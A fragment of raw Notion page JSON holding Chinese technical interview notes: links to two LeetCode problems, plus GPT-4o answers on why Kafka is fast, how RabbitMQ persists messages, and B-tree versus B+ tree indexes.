-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"4d5e341f-9be1-41e9-920e-2f677e32e077":{"value":{"id":"4d5e341f-9be1-41e9-920e-2f677e32e077","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"5f00de39-e6c3-408e-b834-587b0eb94da1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292001,"last_edited_time":1714377292001,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"5f00de39-e6c3-408e-b834-587b0eb94da1"}},"9b2d5d3b-b6a2-497f-8f50-c423c92cca92":{"value":{"id":"9b2d5d3b-b6a2-497f-8f50-c423c92cca92","type":"callout","properties":{"title":[["以下内容基于GPT-4o模型"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"812e10bf-cb8b-4e57-98d3-4b471e6ff202","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1715935242382,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"812e10bf-cb8b-4e57-98d3-4b471e6ff202"}},"5104dc13-ea0d-4c76-bdb0-c5429e469937":{"value":{"id":"5104dc13-ea0d-4c76-bdb0-c5429e469937","type":"text","format":{"copied_from_pointer":{"id":"a80c9440-091b-4709-81d1-fe0fdda36765","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381070120,"last_edited_time":1714381070120,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"1b5dd084-86e3-41ed-b16e-cd05cc11a651":{"value":{"id":"1b5dd084-86e3-41ed-b16e-cd05cc11a651","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"a80c9440-091b-4709-81d1-fe0fdda36765","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292004,"last_edited_time":1714381070974,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"a80c9440-091b-4709-81d1-fe0fdda36765"}},"7a6a2721-ebc2-47a6-ac72-f9c64a19e90d":{"value":{"id":"7a6a2721-ebc2-47a6-ac72-f9c64a19e90d","type":"sub_header","properties":{"title":[["1.LeetCode103 二叉树的锯齿形层序遍历"]]},"format":{"copied_from_pointer":{"id":"cde1d0b9-3028-4b55-8cab-ea9ce74fcfe7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377310025,"last_edited_time":1714381086565,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"cde1d0b9-3028-4b55-8cab-ea9ce74fcfe7"}},"17287443-6415-4bea-8f4b-522c150a52ad":{"value":{"id":"17287443-6415-4bea-8f4b-522c150a52ad","type":"bookmark","properties":{"link":[["https://leetcode.cn/problems/binary-tree-zigzag-level-order-traversal/description/"]],"title":[["103. 二叉树的锯齿形层序遍历 - 力扣(LeetCode)"]],"description":[["103. 二叉树的锯齿形层序遍历 - 给你二叉树的根节点 root ,返回其节点值的 锯齿形层序遍历 。(即先从左往右,再从右往左进行下一层遍历,以此类推,层与层之间交替进行)。   示例 1: [https://assets.leetcode.com/uploads/2021/02/19/tree1.jpg] 输入:root = [3,9,20,null,null,15,7] 输出:[[3],[20,9],[15,7]] 示例 2: 输入:root = [1] 输出:[[1]] 示例 3: 输入:root = [] 输出:[]   提示: * 树中节点数目在范围 [0, 2000] 内 * -100 <= Node.val <= 100"]]},"format":{"bookmark_icon":"https://leetcode.cn/favicon.ico","bookmark_cover":"https://static.leetcode-cn.com/cn-legacy-assets/images/LeetCode_Sharing.png"},"created_time":1716602514988,"last_edited_time":1716602514989,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"785092f6-bfe1-466b-a403-1ed3b7a82f88":{"value":{"id":"785092f6-bfe1-466b-a403-1ed3b7a82f88","type":"sub_header","properties":{"title":[["2.LeetCode5 最长回文子串"]]},"created_time":1714381087394,"last_edited_time":1714381101170,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"47ae8380-bb5f-49be-9209-f6a1cd80edaf":{"value":{"id":"47ae8380-bb5f-49be-9209-f6a1cd80edaf","type":"bookmark","properties":{"link":[["https://leetcode.cn/problems/longest-palindromic-substring/description/"]],"title":[["5. 最长回文子串 - 力扣(LeetCode)"]],"description":[["5. 最长回文子串 - 给你一个字符串 s,找到 s 中最长的 回文 子串。   示例 1: 输入:s = \"babad\" 输出:\"bab\" 解释:\"aba\" 同样是符合题意的答案。 示例 2: 输入:s = \"cbbd\" 输出:\"bb\"   提示: * 1 <= s.length <= 1000 * s 仅由数字和英文字母组成"]]},"format":{"bookmark_icon":"https://leetcode.cn/favicon.ico","bookmark_cover":"https://static.leetcode-cn.com/cn-legacy-assets/images/LeetCode_Sharing.png"},"created_time":1716602537814,"last_edited_time":1716602537815,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8a564191-ac4a-467a-9494-f01feb9af23c":{"value":{"id":"8a564191-ac4a-467a-9494-f01feb9af23c","type":"text","format":{"copied_from_pointer":{"id":"123e0696-cb36-49bf-a3ff-f6885ebdd4ac","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377291999,"last_edited_time":1716602992314,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"123e0696-cb36-49bf-a3ff-f6885ebdd4ac"}},"053c2ded-7f8e-40a4-bdae-35774d13060b":{"value":{"id":"053c2ded-7f8e-40a4-bdae-35774d13060b","type":"sub_header","properties":{"title":[["3.Kafka为何那么快"]]},"format":{"copied_from_pointer":{"id":"a9d2f34f-2c2b-4131-acf5-4a3242815872","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292004,"last_edited_time":1716602994680,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"a9d2f34f-2c2b-4131-acf5-4a3242815872"}},"1d911f28-b858-4621-aa57-9583550e1227":{"value":{"id":"1d911f28-b858-4621-aa57-9583550e1227","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"7022fbe1-7c4a-4b90-a045-9b6ecec2704d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1714377292002,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"7022fbe1-7c4a-4b90-a045-9b6ecec2704d"}},"3c73650f-b3bc-449b-a0fa-3c62aaad651b":{"value":{"id":"3c73650f-b3bc-449b-a0fa-3c62aaad651b","type":"quote","properties":{"title":[["Kafka为何那么快"]]},"format":{"copied_from_pointer":{"id":"4ef873d3-1012-4186-8cd0-7a138fe69750","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292001,"last_edited_time":1716364718693,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"4ef873d3-1012-4186-8cd0-7a138fe69750"}},"b0edece7-67dd-488b-86f4-937c4bfe494e":{"value":{"id":"b0edece7-67dd-488b-86f4-937c4bfe494e","type":"text","properties":{"title":[["Kafka 以其高性能和低延迟广受欢迎,原因在于其设计中的几个关键因素:"]]},"created_time":1716364739221,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8a0a6e89-dd1b-4d39-9d66-6a0eb540cc10":{"value":{"id":"8a0a6e89-dd1b-4d39-9d66-6a0eb540cc10","type":"numbered_list","properties":{"title":[["顺序写入磁盘",[["b"]]],[":"]]},"content":["697bacc6-9340-46c4-b040-f94587a87147"],"created_time":1716364739222,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d16d341e-5053-4d98-9ee4-2cb8c0872556":{"value":{"id":"d16d341e-5053-4d98-9ee4-2cb8c0872556","type":"numbered_list","properties":{"title":[["零拷贝机制",[["b"]]],[":"]]},"content":["e43d4334-92c5-473f-b895-8c72fb34f473"],"created_time":1716364739223,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"dcfefeb1-8918-473e-9328-733e2579a1e3":{"value":{"id":"dcfefeb1-8918-473e-9328-733e2579a1e3","type":"numbered_list","properties":{"title":[["分区和并行处理",[["b"]]],[":"]]},"content":["fbf8055c-ef1c-4897-99b6-f88402012db3"],"created_time":1716364739224,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"9f40dac6-b8fa-43aa-825a-04e259a93eab":{"value":{"id":"9f40dac6-b8fa-43aa-825a-04e259a93eab","type":"numbered_list","properties":{"title":[["批量处理",[["b"]]],[":"]]},"content":["859acabd-f911-4993-8e32-bec85b416950"],"created_time":1716364739224,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ff85224a-3791-4034-9394-b4a026fe4070":{"value":{"id":"ff85224a-3791-4034-9394-b4a026fe4070","type":"numbered_list","properties":{"title":[["高效的存储格式",[["b"]]],[":"]]},"content":["91ef7689-ef2c-4854-b3d8-54ab0cb812cb"],"created_time":1716364739225,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"20239392-ff0d-4678-90fe-69b3ab6db6a2":{"value":{"id":"20239392-ff0d-4678-90fe-69b3ab6db6a2","type":"numbered_list","properties":{"title":[["高效的索引机制",[["b"]]],[":"]]},"content":["85dda75d-f9a9-4ed5-a10b-b22726400629"],"created_time":1716364739226,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"92d5812c-9ba1-4f47-b6bf-5b27e08173ae":{"value":{"id":"92d5812c-9ba1-4f47-b6bf-5b27e08173ae","type":"numbered_list","properties":{"title":[["内存映射文件",[["b"]]],[":"]]},"content":["15bdc1b1-e09a-4758-9de6-433c9b16c28f"],"created_time":1716364739227,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"43458234-47b1-4496-ad4c-9daba677a357":{"value":{"id":"43458234-47b1-4496-ad4c-9daba677a357","type":"numbered_list","properties":{"title":[["异步复制",[["b"]]],[":"]]},"content":["602afc05-c451-4496-acf9-d89d6b42a11d"],"created_time":1716364739227,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"94bbcddf-2549-4ed1-bfbd-bdf8febf93c3":{"value":{"id":"94bbcddf-2549-4ed1-bfbd-bdf8febf93c3","type":"numbered_list","properties":{"title":[["高效的网络协议",[["b"]]],[":"]]},"content":["896cb0e2-25af-43b0-b747-9352f9be6077"],"created_time":1716364739228,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"607a8c25-9510-4530-9d99-a03469c2f819":{"value":{"id":"607a8c25-9510-4530-9d99-a03469c2f819","type":"numbered_list","properties":{"title":[["简化的消费者模型",[["b"]]],[":"]]},"content":["747facd0-6634-44ce-91d1-264bd3fef6a1"],"created_time":1716364739229,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5482d1b9-b8ac-43fe-8642-3180ad93f30c":{"value":{"id":"5482d1b9-b8ac-43fe-8642-3180ad93f30c","type":"text","properties":{"title":[["这些设计决策共同作用,使得 Kafka 能够实现高吞吐量、低延迟的消息处理能力,适用于大规模、高并发的数据流处理场景。"]]},"created_time":1716364739229,"last_edited_time":1716364739238,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b3370a6c-9648-441c-a364-a69e44c62605":{"value":{"id":"b3370a6c-9648-441c-a364-a69e44c62605","type":"divider","format":{"copied_from_pointer":{"id":"60434cd1-ac88-410d-ab11-f8e3eec8383f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292001,"last_edited_time":1716365274507,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"60434cd1-ac88-410d-ab11-f8e3eec8383f"}},"697bacc6-9340-46c4-b040-f94587a87147":{"value":{"id":"697bacc6-9340-46c4-b040-f94587a87147","type":"bulleted_list","properties":{"title":[["Kafka 将消息顺序地写入磁盘,这比随机写入快得多,因为顺序写入可以充分利用磁盘的带宽。"]]},"created_time":1716364739222,"last_edited_time":1716364739238,"parent_id":"8a0a6e89-dd1b-4d39-9d66-6a0eb540cc10","parent_table":"block","alive":true}},"e43d4334-92c5-473f-b895-8c72fb34f473":{"value":{"id":"e43d4334-92c5-473f-b895-8c72fb34f473","type":"bulleted_list","properties":{"title":[["Kafka 使用了零拷贝技术(Zero Copy),这使得消息在网络传输过程中不需要被多次拷贝,从而提高了传输效率。零拷贝技术允许数据直接从磁盘传输到网络缓冲区,而不需要在用户态和内核态之间进行数据拷贝。"]]},"created_time":1716364739223,"last_edited_time":1716364739238,"parent_id":"d16d341e-5053-4d98-9ee4-2cb8c0872556","parent_table":"block","alive":true}},"fbf8055c-ef1c-4897-99b6-f88402012db3":{"value":{"id":"fbf8055c-ef1c-4897-99b6-f88402012db3","type":"bulleted_list","properties":{"title":[["Kafka 将数据分片成多个分区(Partitions),每个分区可以分配给不同的消费者,从而实现并行处理。多个分区可以分布在不同的机器上,实现负载均衡和高吞吐量。"]]},"created_time":1716364739224,"last_edited_time":1716364739238,"parent_id":"dcfefeb1-8918-473e-9328-733e2579a1e3","parent_table":"block","alive":true}},"859acabd-f911-4993-8e32-bec85b416950":{"value":{"id":"859acabd-f911-4993-8e32-bec85b416950","type":"bulleted_list","properties":{"title":[["Kafka 支持批量消息传递(Batch Processing),可以在一次网络请求中发送或接收多条消息。这样减少了网络开销,提高了吞吐量。"]]},"created_time":1716364739224,"last_edited_time":1716364739238,"parent_id":"9f40dac6-b8fa-43aa-825a-04e259a93eab","parent_table":"block","alive":true}},"91ef7689-ef2c-4854-b3d8-54ab0cb812cb":{"value":{"id":"91ef7689-ef2c-4854-b3d8-54ab0cb812cb","type":"bulleted_list","properties":{"title":[["Kafka 使用了一种高效的二进制消息格式。这种格式使得消息在写入和读取时都非常高效,减少了序列化和反序列化的开销。"]]},"created_time":1716364739225,"last_edited_time":1716364739238,"parent_id":"ff85224a-3791-4034-9394-b4a026fe4070","parent_table":"block","alive":true}},"85dda75d-f9a9-4ed5-a10b-b22726400629":{"value":{"id":"85dda75d-f9a9-4ed5-a10b-b22726400629","type":"bulleted_list","properties":{"title":[["Kafka 使用稀疏索引和段文件(Segment Files),使得消息查找非常高效。每个段文件都有一个索引,消费者可以快速找到消息的位置。"]]},"created_time":1716364739226,"last_edited_time":1716364739238,"parent_id":"20239392-ff0d-4678-90fe-69b3ab6db6a2","parent_table":"block","alive":true}},"15bdc1b1-e09a-4758-9de6-433c9b16c28f":{"value":{"id":"15bdc1b1-e09a-4758-9de6-433c9b16c28f","type":"bulleted_list","properties":{"title":[["Kafka 使用内存映射文件(Memory-Mapped Files),使得磁盘上的数据可以被直接映射到内存中进行读写操作,从而提高了 I/O 性能。"]]},"created_time":1716364739227,"last_edited_time":1716364739238,"parent_id":"92d5812c-9ba1-4f47-b6bf-5b27e08173ae","parent_table":"block","alive":true}},"602afc05-c451-4496-acf9-d89d6b42a11d":{"value":{"id":"602afc05-c451-4496-acf9-d89d6b42a11d","type":"bulleted_list","properties":{"title":[["Kafka 的副本机制是异步复制的,主节点在写入数据后不需要等待所有副本节点的确认,减少了写入延迟。"]]},"created_time":1716364739227,"last_edited_time":1716364739238,"parent_id":"43458234-47b1-4496-ad4c-9daba677a357","parent_table":"block","alive":true}},"896cb0e2-25af-43b0-b747-9352f9be6077":{"value":{"id":"896cb0e2-25af-43b0-b747-9352f9be6077","type":"bulleted_list","properties":{"title":[["Kafka 使用了一种高效的二进制网络协议(基于 TCP),减少了网络通信的开销。"]]},"created_time":1716364739228,"last_edited_time":1716364739238,"parent_id":"94bbcddf-2549-4ed1-bfbd-bdf8febf93c3","parent_table":"block","alive":true}},"747facd0-6634-44ce-91d1-264bd3fef6a1":{"value":{"id":"747facd0-6634-44ce-91d1-264bd3fef6a1","type":"bulleted_list","properties":{"title":[["Kafka 的消费者模型非常简化,不需要中心化的协调服务来管理消费者状态,消费者自己负责跟踪读取的偏移量(Offset),这减少了协调开销。"]]},"created_time":1716364739229,"last_edited_time":1716364739238,"parent_id":"607a8c25-9510-4530-9d99-a03469c2f819","parent_table":"block","alive":true}},"6adc538c-222c-4a34-b191-db666accc65d":{"value":{"id":"6adc538c-222c-4a34-b191-db666accc65d","type":"text","created_time":1716365258200,"last_edited_time":1716365258200,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2c1141ba-36e4-4770-a635-d796d8d22340":{"value":{"id":"2c1141ba-36e4-4770-a635-d796d8d22340","type":"quote","properties":{"title":[["rabbitmq消息是顺序写入磁盘吗"]]},"created_time":1716365146312,"last_edited_time":1716365193858,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3a477014-c4c4-45a0-9a66-edf8ed09115c":{"value":{"id":"3a477014-c4c4-45a0-9a66-edf8ed09115c","type":"text","properties":{"title":[["RabbitMQ 的消息存储和处理机制与 Kafka 有一些显著的不同。RabbitMQ 并不总是顺序地将消息写入磁盘,其消息存储机制依赖于不同的持久性设置和队列类型。以下是一些关键点:"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"0026b0d5-58bf-4fb5-9006-3cbad925ea47":{"value":{"id":"0026b0d5-58bf-4fb5-9006-3cbad925ea47","type":"numbered_list","properties":{"title":[["持久性设置",[["b"]]],[":"]]},"content":["38b72758-294f-416d-b8bf-42fafe7a26d6","c67a7e7e-56c8-4acf-8231-d6dcbbdb9c26"],"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"80cd08ab-5069-406c-a5b4-96f1545a2f89":{"value":{"id":"80cd08ab-5069-406c-a5b4-96f1545a2f89","type":"numbered_list","properties":{"title":[["内存和磁盘的使用",[["b"]]],[":"]]},"content":["2e4a9f2d-46e7-41aa-8d45-c1beff08dbbb","041f69fd-a7c6-4ae1-afc9-59decba70ec8"],"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"fc9ae7cc-6549-4f07-afff-34931041b525":{"value":{"id":"fc9ae7cc-6549-4f07-afff-34931041b525","type":"numbered_list","properties":{"title":[["队列类型",[["b"]]],[":"]]},"content":["c1776a38-3cc8-40a1-be19-7bab2e9ef792","7b42cd28-b445-4f1e-8c53-22cc00412e29"],"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ff7178d8-e0b1-437a-baf0-9ba00efda439":{"value":{"id":"ff7178d8-e0b1-437a-baf0-9ba00efda439","type":"numbered_list","properties":{"title":[["消息确认机制",[["b"]]],[":"]]},"content":["72284e02-feff-43b9-b4b8-f19154a955ac"],"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c7553b3a-6d58-4993-8f36-52ca4ecc0133":{"value":{"id":"c7553b3a-6d58-4993-8f36-52ca4ecc0133","type":"text","properties":{"title":[["总的来说,RabbitMQ 不总是顺序地将消息写入磁盘。消息的写入顺序和时机受多种因素影响,包括消息和队列的持久性设置、内存使用情况、队列类型和消息确认机制等。"]]},"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ea58a8e1-a6bb-45a1-922e-984d3092fa46":{"value":{"id":"ea58a8e1-a6bb-45a1-922e-984d3092fa46","type":"text","properties":{"title":[["相比之下,Kafka 设计上的一个显著特点是顺序写入磁盘,这使其在高吞吐量和低延迟的日志存储和流处理场景中表现优异。而 RabbitMQ 作为一个强大的消息队列系统,提供了丰富的功能和灵活性,但在消息持久化和存储机制上与 Kafka 有着不同的设计和优化。"]]},"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"70eb6b40-2056-4e99-972c-92818dda3c02":{"value":{"id":"70eb6b40-2056-4e99-972c-92818dda3c02","type":"divider","format":{"copied_from_pointer":{"id":"ebc08365-90f9-4b67-8c9f-58e84e20601f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716365282809,"last_edited_time":1716365282813,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"ebc08365-90f9-4b67-8c9f-58e84e20601f"}},"0f34f8b8-3588-4c02-9124-bfc7a2c5debb":{"value":{"id":"0f34f8b8-3588-4c02-9124-bfc7a2c5debb","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"c7cefca9-391f-43e1-956b-14c417f7b849","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292004,"last_edited_time":1714377292004,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"c7cefca9-391f-43e1-956b-14c417f7b849"}},"f0b097d0-ae2c-4434-9f1e-d1edf128458b":{"value":{"id":"f0b097d0-ae2c-4434-9f1e-d1edf128458b","type":"bulleted_list","properties":{"title":[["顺序写可以最大的利用磁盘的带宽"]]},"format":{"copied_from_pointer":{"id":"fa7da045-3129-4d94-aa0b-285fd9699d2e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292005,"last_edited_time":1716365054352,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"fa7da045-3129-4d94-aa0b-285fd9699d2e"}},"4e1c436b-628e-4d93-bc5d-54a62cc24286":{"value":{"id":"4e1c436b-628e-4d93-bc5d-54a62cc24286","type":"bulleted_list","properties":{"title":[["零拷贝允许磁盘直接到网络缓冲区,不用经过多次copy,内核不用多次切换"]]},"created_time":1716365070908,"last_edited_time":1716603118162,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"75f1d41c-d9ad-418a-b181-db1f7c913a2a":{"value":{"id":"75f1d41c-d9ad-418a-b181-db1f7c913a2a","type":"bulleted_list","properties":{"title":[["批量处理机制"]]},"created_time":1716365129478,"last_edited_time":1716365304180,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f65f90a2-4636-47c9-8675-9cfdd8097b5a":{"value":{"id":"f65f90a2-4636-47c9-8675-9cfdd8097b5a","type":"text","format":{"copied_from_pointer":{"id":"81c8a6a2-cdb8-490c-9d2d-3c5deda543af","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1714377292003,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"81c8a6a2-cdb8-490c-9d2d-3c5deda543af"}},"67729556-39b5-4789-9ed3-ea40c7e69738":{"value":{"id":"67729556-39b5-4789-9ed3-ea40c7e69738","type":"sub_header","properties":{"title":[["4.MySQL中B树 B+树区别"]]},"format":{"copied_from_pointer":{"id":"8c70bde0-751b-4ee9-99e9-d26aaa364d58","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1716603174804,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"8c70bde0-751b-4ee9-99e9-d26aaa364d58"}},"a057097c-d921-4553-a5c6-d8b3892b4e2d":{"value":{"id":"a057097c-d921-4553-a5c6-d8b3892b4e2d","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"c81dbbfc-f0c0-4580-94b6-14edf0f9adc7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292004,"last_edited_time":1714377292004,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"c81dbbfc-f0c0-4580-94b6-14edf0f9adc7"}},"3c510d0e-8e49-46db-b7ad-a5ad367e5a34":{"value":{"id":"3c510d0e-8e49-46db-b7ad-a5ad367e5a34","type":"quote","properties":{"title":[["MySQL中B树 B+树区别"]]},"format":{"copied_from_pointer":{"id":"75d1b7cf-7c8c-4c28-8e55-0a6835336378","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1716365309087,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"75d1b7cf-7c8c-4c28-8e55-0a6835336378"}},"7deee129-2daf-4d1d-b1c6-9366c6b84fd7":{"value":{"id":"7deee129-2daf-4d1d-b1c6-9366c6b84fd7","type":"text","properties":{"title":[["B树(B-Tree)和 B+树(B+ Tree)是两种常见的树形数据结构,用于数据库和文件系统的索引结构。它们都有助于高效地存储和检索数据,但它们在实现和性能上有一些关键的区别。"]]},"created_time":1716365520638,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2616830c-0b48-4ff5-aad8-63bb89e39753":{"value":{"id":"2616830c-0b48-4ff5-aad8-63bb89e39753","type":"text","properties":{"title":[["B树(B-Tree)"]]},"created_time":1716365520639,"last_edited_time":1716366298776,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"583d5a12-2cb6-4a88-9928-15d946b71c03":{"value":{"id":"583d5a12-2cb6-4a88-9928-15d946b71c03","type":"numbered_list","properties":{"title":[["节点结构",[["b"]]],[":"]]},"content":["9e7f4323-537c-4ed8-a258-b4b6e659238d","25376fa3-5b13-4a14-8cd8-ba7123b91e4f","96137f6f-674a-44eb-a961-d6ef3eb4b748"],"created_time":1716365520640,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5c30ff5e-92ee-4d58-aa35-2636eec2fec6":{"value":{"id":"5c30ff5e-92ee-4d58-aa35-2636eec2fec6","type":"numbered_list","properties":{"title":[["叶子节点",[["b"]]],[":"]]},"content":["197d02a9-6bfa-48c6-adcc-a0253537045c","4ec2569d-24c0-4416-94f0-f1dbc41e5a86"],"created_time":1716365520640,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f83fe364-7758-4b7d-a2b4-97b7bbe8c45a":{"value":{"id":"f83fe364-7758-4b7d-a2b4-97b7bbe8c45a","type":"numbered_list","properties":{"title":[["搜索效率",[["b"]]],[":"]]},"content":["e1a10f9e-c4da-4104-9467-17ab875a7a32"],"created_time":1716365520641,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"cfd5a99a-434f-48c5-a412-f7adbf806832":{"value":{"id":"cfd5a99a-434f-48c5-a412-f7adbf806832","type":"text","properties":{"title":[["B+树(B+ Tree)"]]},"created_time":1716365520641,"last_edited_time":1716366302956,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c":{"value":{"id":"2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c","type":"numbered_list","properties":{"title":[["节点结构",[["b"]]],[":"]]},"content":["c5371233-4657-43d2-8b5f-034990fdd039","b5f65e09-0e7c-4659-8fa4-1f7a3c130f11","8b86353b-b40a-4f9d-ae43-171829d5f989"],"created_time":1716365520642,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"38b72758-294f-416d-b8bf-42fafe7a26d6":{"value":{"id":"38b72758-294f-416d-b8bf-42fafe7a26d6","type":"bulleted_list","properties":{"title":[["如果消息和队列被标记为持久(durable),RabbitMQ 